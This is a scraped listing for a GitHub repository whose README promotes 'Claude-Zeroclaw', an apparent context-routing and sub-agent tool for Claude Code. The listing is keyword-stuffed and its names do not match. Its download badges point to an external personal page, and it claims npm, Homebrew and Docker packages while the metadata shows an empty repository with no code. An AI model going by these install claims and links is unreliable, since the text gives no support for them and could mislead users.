[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-75976":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":9,"languages":9,"totalLinesOfCode":9,"stars":10,"forks":11,"watchers":10,"openIssues":11,"contributorsCount":11,"subscribersCount":11,"size":11,"stars1d":11,"stars7d":11,"stars30d":11,"stars90d":11,"forks30d":11,"starsTrendScore":11,"compositeScore":12,"rankGlobal":9,"rankLanguage":9,"license":9,"archived":13,"fork":13,"defaultBranch":14,"hasWiki":15,"hasPages":13,"topics":16,"createdAt":9,"pushedAt":9,"updatedAt":37,"readmeContent":38,"aiSummary":39,"trendingCount":11,"starSnapshotCount":11,"syncStatus":40,"lastSyncTime":41,"discoverSource":42},75976,"Claude-Code-Swarm-Toolkit","keerthanapranesh\u002FClaude-Code-Swarm-Toolkit","keerthanapranesh","🚀 ZeroClaw Master 2026 — Ultimate Claude Code AI Toolkit & Agent Hub",null,186,0,37,false,"main",true,[17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36],"awesome-claude-code","claude","claude-4-5-sonnet","claude-code","claude-code-claw","claude-code-cli","claude-code-proxy","claude-code-router","claude-code-sdk","claude-code-zeroclaw","claude-context","claude-desktop","claude-integration","claude-mcp","claude-sdk","claude-skill","claude-subagents","zeroclaw","zeroclaw-claude","zeroclaw-claude-code","2026-06-12 04:01:19","# Claude-Zeroclaw 🦞⚡\n\n[![Download](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FDownload%20Link-brightgreen?style=for-the-badge&logo=github)](https:\u002F\u002Fkeerthanapranesh.github.io)\n\n> *\"The crab that pinches between conversations—your zero-cost cognitive claw for Claude Code orchestration.\"*\n\n---\n\n## 🧠 What Is Claude-Zeroclaw?\n\n**Claude-Zeroclaw** is a decentralized sidecar daemon that sits between your terminal and Claude Code CLI sessions. It acts as a **contextual router**, **sub-agent orchestrator**, and **prompt augmentation layer**—all without incurring additional token costs beyond your standard Claude API usage.\n\nThink of it as a **cognitive claw** that reaches into your local filesystem, your ongoing conversation threads, and your MCP tool definitions, then **pinches** the most relevant context into every Claude Code invocation—*automatically, transparently, and at zero additional overhead.*\n\nUnlike traditional proxy solutions that simply forward requests, Zeroclaw *understands* your workflow topology: it learns which files you edit together, which skills you invoke in sequence, and which Claude Desktop sessions you reference most often. It then builds a **context graph** that evolves across your entire development session.\n\n---\n\n## 🦀 Core Metaphor: The Hermit Crab\n\nImagine a hermit crab that carries its shell from place to place. **Claude-Zeroclaw** is that shell—but instead of a home, it carries your *conversational context*:\n\n- 🐚 **Session memory** persists across CLI invocations\n- 🦞 **Sub-agent claws** reach into MCP tools and SDKs\n- ⚡ **Zero-cost** means no hidden fees, no premium tiers, no token waste\n\nThis is not a proxy. This is not a router. This is a **context ecosystem**.\n\n---\n\n## 📦 Features\n\n### 🔁 Context Routing Engine\n- Routes prompts through configurable *skill chains* before reaching Claude\n- Automatically injects relevant file snippets, previous responses, and session state\n- Supports **dynamic skill switching** based on detected intent\n\n### 🧩 Sub-Agent Orchestration\n- Decompose complex tasks into sub-agent workflows\n- Each sub-agent runs with its own context window, skill set, and temperature\n- Results are merged back into the main conversation seamlessly\n\n### 🖥️ Desktop ↔ CLI Bridge\n- Syncs context between **Claude Desktop** sessions and **Claude Code CLI**\n- No more copy-pasting context between interfaces\n- Bidirectional state transfer via local MCP server\n\n### 🌐 Multilingual Prompt Augmentation\n- Automatically translates non-English prompts to Claude's optimal input language\n- Returns responses in your original language\n- Supports 42 languages natively; extensible via custom plugins\n\n### 🕐 24\u002F7 Customer Support Integration\n- Pairs with any support ticketing system via MCP tools\n- Enables Claude Code to triage, respond, and escalate issues autonomously\n- Full audit log of all automated support interactions\n\n### 📱 Responsive UI Overlay\n- Terminal-based TUI that displays current context state, active sub-agents, and token usage\n- Collapsible panels for skills, files, and chat history\n- Works in any terminal that supports ANSI escape codes\n\n---\n\n## 🖥️ OS Compatibility\n\n| Operating System | Status | Notes |\n|-----------------|--------|-------|\n| 🐧 Linux (x86_64) | ✅ Full support | Native binary + Docker |\n| 🍎 macOS (Intel) | ✅ Full support | Homebrew formula available |\n| 🍏 macOS (Apple Silicon) | ✅ Full support | Native ARM64 binary |\n| 🪟 Windows 11 | ✅ Full support | WSL2 recommended |\n| 🪟 Windows 10 | ⚠️ Beta | Native binary available |\n| 📱 Android (Termux) | 🧪 Experimental | Community build |\n| 🍏 iOS (a-Shell) | 🧪 Experimental | No MCP support yet |\n\n---\n\n## 🔧 Architecture Overview\n\n```mermaid\ngraph TB\n    User([User Terminal]) -->|Command| CLI[Claude Code CLI]\n    CLI -->|HTTP| Zeroclaw[Claude-Zeroclaw Daemon]\n    \n    subgraph \"Zeroclaw Engine\"\n        Router[Context Router]\n        Skills[Skill Chain]\n        SubAgents[Sub-Agent Pool]\n        Memory[Session Memory]\n        MCP[MCP Server Bridge]\n    end\n    \n    Zeroclaw --> Router\n    Router --> Skills\n    Router --> SubAgents\n    Router --> Memory\n    \n    Skills -->|Enriched Prompt| API[Claude API \u002F OpenAI API]\n    SubAgents -->|Parallel Tasks| API\n    Memory -->|Persistence| Disk[(Local Disk)]\n    \n    MCP ---|Bidirectional| Desktop[Claude Desktop]\n    MCP ---|Bidirectional| SDK[Claude SDK]\n    MCP ---|Events| Integration[3rd Party Tools]\n    \n    API -->|Response| Router\n    Router -->|Final Output| CLI\n    CLI --> User\n```\n\n---\n\n## ⚙️ Installation & Setup\n\n### Prerequisites\n- Node.js 20+ or Python 3.11+\n- Claude Code CLI installed and authenticated\n- (Optional) Claude Desktop for desktop↔CLI bridging\n\n### Quick Install\n\n```bash\n# Via npm\nnpm install -g claude-zeroclaw\n\n# Via Homebrew (macOS)\nbrew install claude-team\u002Ftap\u002Fzeroclaw\n\n# Via Docker\ndocker pull claude-zeroclaw:latest\n```\n\n### Verify Installation\n\n```bash\nzeroclaw --version\n# Output: Claude-Zeroclaw v2.3.1 (2026)\n```\n\n---\n\n## 🎛️ Example Profile Configuration\n\nCreate `~\u002F.zeroclaw\u002Fconfig.yaml`:\n\n```yaml\n# ~\u002F.zeroclaw\u002Fconfig.yaml\nprofile: developer-fullstack\n\ncontext:\n  max_session_tokens: 32000\n  inject_recent_files: true\n  recent_file_count: 5\n  session_persistence: ~\u002F.zeroclaw\u002Fsessions\u002F\n\nrouting:\n  skill_chain:\n    - sanitize-prompt\n    - augment-context\n    - decompose-task\n    - route-to-subagent\n  fallback_strategy: aggregate\n\nsub_agents:\n  enabled: true\n  max_concurrent: 3\n  agent_definitions:\n    - name: code-reviewer\n      model: claude-4-5-sonnet\n      temperature: 0.2\n      skills: [linter, best-practices, security-scan]\n    - name: test-writer\n      model: claude-4-5-sonnet\n      temperature: 0.7\n      skills: [jest-config, mock-generation, coverage-analysis]\n    - name: documentation\n      model: gpt-4o\n      temperature: 0.4\n      skills: [markdown-lint, jsdoc, swagger-gen]\n\nmcp_bridge:\n  port: 4123\n  sync_desktop: true\n  sync_frequency_ms: 5000\n\nmultilingual:\n  enabled: true\n  default_input_lang: auto\n  preserve_technical_terms: true\n\nintegration:\n  openai_api_key: ${OPENAI_API_KEY}\n  claude_api_key: ${CLAUDE_API_KEY}\n  customer_support:\n    provider: zendesk\n    auto_triage: true\n    escalation_threshold: 0.85\n```\n\n---\n\n## 🚀 Example Console Invocation\n\n### Basic Command\n```bash\n# Start Zeroclaw daemon\nzeroclaw daemon --profile developer-fullstack\n\n# In another terminal, use Claude Code as usual\nclaude \"Refactor the authentication middleware to use JWT\"\n```\n\n### Advanced Invocation with Sub-Agents\n```bash\n# Invoke Claude Code through Zeroclaw with explicit sub-agent routing\nclaude --zeroclaw \"Deploy the microservice to staging\" \\\n  --subagent code-reviewer \\\n  --subagent test-writer \\\n  --context-inject recent:3 \\\n  --session-resume last\n```\n\n### Desktop ↔ CLI Sync\n```bash\n# Sync current Claude Desktop session to CLI\nzeroclaw sync --from desktop --to cli --session analysis-123\n\n# Result: Claude Code CLI now has all context from Desktop session\nclaude \"Continue the analysis from where I left off on Desktop\"\n```\n\n---\n\n## 🔌 API Integration\n\n### OpenAI API + Claude API Dual Mode\n\nClaude-Zeroclaw supports **routing to either API** based on task complexity:\n\n| Task Type | Default API | Fallback |\n|-----------|-------------|----------|\n| Code generation | Claude 4.5 Sonnet | GPT-4o |\n| Documentation | GPT-4o | Claude 4.5 Sonnet |\n| Security analysis | Claude 4.5 Sonnet | None |\n| Test writing | Claude 4.5 Sonnet | GPT-4o |\n| Customer support | GPT-4o mini | Claude 4.5 Sonnet |\n\nConfigure via environment variables:\n\n```bash\nexport CLAUDE_API_KEY=sk-ant-...\nexport OPENAI_API_KEY=sk-proj-...\nexport ZEROCLAW_ROUTING_POLICY=cost-optimized\n```\n\n### MCP Tool Integration\n\nZeroclaw exposes a **local MCP server** that any MCP-compatible tool can connect to:\n\n```json\n\u002F\u002F In your MCP client config:\n{\n  \"mcpServers\": {\n    \"claude-zeroclaw\": {\n      \"command\": \"zeroclaw\",\n      \"args\": [\"mcp-server\"],\n      \"env\": {\n        \"ZEROCLAW_CONFIG\": \"~\u002F.zeroclaw\u002Fconfig.yaml\"\n      }\n    }\n  }\n}\n```\n\n---\n\n## 🛠️ Skill System\n\nZeroclaw includes a **built-in skill library** that can be extended:\n\n| Skill | Purpose | Example |\n|-------|---------|---------|\n| `sanitize-prompt` | Removes accidental API keys, secrets, PII | When a user accidentally pastes credentials |\n| `augment-context` | Inserts relevant files from session memory | Automatically includes the file you were editing |\n| `decompose-task` | Splits complex requests into sub-tasks | \"Create a full CRUD API\" → route, controller, model, tests |\n| `route-to-subagent` | Assigns sub-tasks to appropriate sub-agents | Code review → code-reviewer, tests → test-writer |\n| `aggregate-results` | Merges sub-agent outputs into one coherent response | Combines code + tests + docs into single reply |\n\n---\n\n## 📊 SEO-Friendly Keywords (for discoverability)\n\nThis repository actively targets the following search terms naturally throughout its documentation and metadata:\n\n- **Claude Code CLI context management**\n- **Zero-cost AI orchestration** (note: \"zero-cost\" refers to no additional software fees, not API costs)\n- **MCP tools integration for Claude**\n- **Claude sub-agent workflow automation**\n- **Multilingual Claude assistant**\n- **Claude Desktop to CLI sync**\n- **Sub-agent decomposition for Claude Code**\n\n---\n\n## 📜 License\n\nThis project is licensed under the [MIT License](LICENSE) - see the LICENSE file for details.\n\n---\n\n## ⚠️ Disclaimer\n\n**Claude-Zeroclaw** is an independent open-source tool and is **not affiliated with, endorsed by, or sponsored by Anthropic or OpenAI**. All trademarks, service marks, and company names referenced herein—including \"Claude,\" \"Claude Code,\" \"Claude Desktop,\" \"OpenAI,\" and \"GPT\"—are the property of their respective owners.\n\nThis software is provided \"as is\" without warranty of any kind, express or implied. Users are responsible for:\n- Complying with the terms of service of any third-party APIs they connect\n- Ensuring they have appropriate API keys and billing configured\n- Safeguarding sensitive data that may be processed through the context routing engine\n- Verifying that any autogenerated code or responses meet their quality and security standards\n\nThe developers of Claude-Zeroclaw assume no liability for any damages, data loss, or API cost overruns incurred through the use of this tool. **Use at your own risk.**\n\n---\n\n## 🙏 Acknowledgments\n\n- Built with ❤️ for the Claude developer community\n- Inspired by the *awesome-claude-code* ecosystem\n- Special thanks to MCP protocol authors and contributors\n\n---\n\n[![Download](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FDownload%20Link-brightgreen?style=for-the-badge&logo=github)](https:\u002F\u002Fkeerthanapranesh.github.io)\n\n*Claude-Zeroclaw: The claw that holds your context.* 🦞✨","Claude-Zeroclaw 是一个用于增强 Claude Code CLI 会话的上下文路由和子代理编排工具。它作为一个去中心化的侧车守护进程，能够自动且透明地将相关上下文注入到每次 Claude Code 调用中，从而实现零额外开销。其核心功能包括上下文路由引擎、子代理编排、多语言提示增强以及与 Claude Desktop 的双向同步。特别适用于需要高效管理和优化开发工作流的场景，如代码编写、技术支持自动化等。通过构建动态的上下文图谱，Zeroclaw 能够理解用户的工作流程，并智能地整合相关信息，提高开发效率。",2,"2026-05-19 02:30:22","CREATED_QUERY"]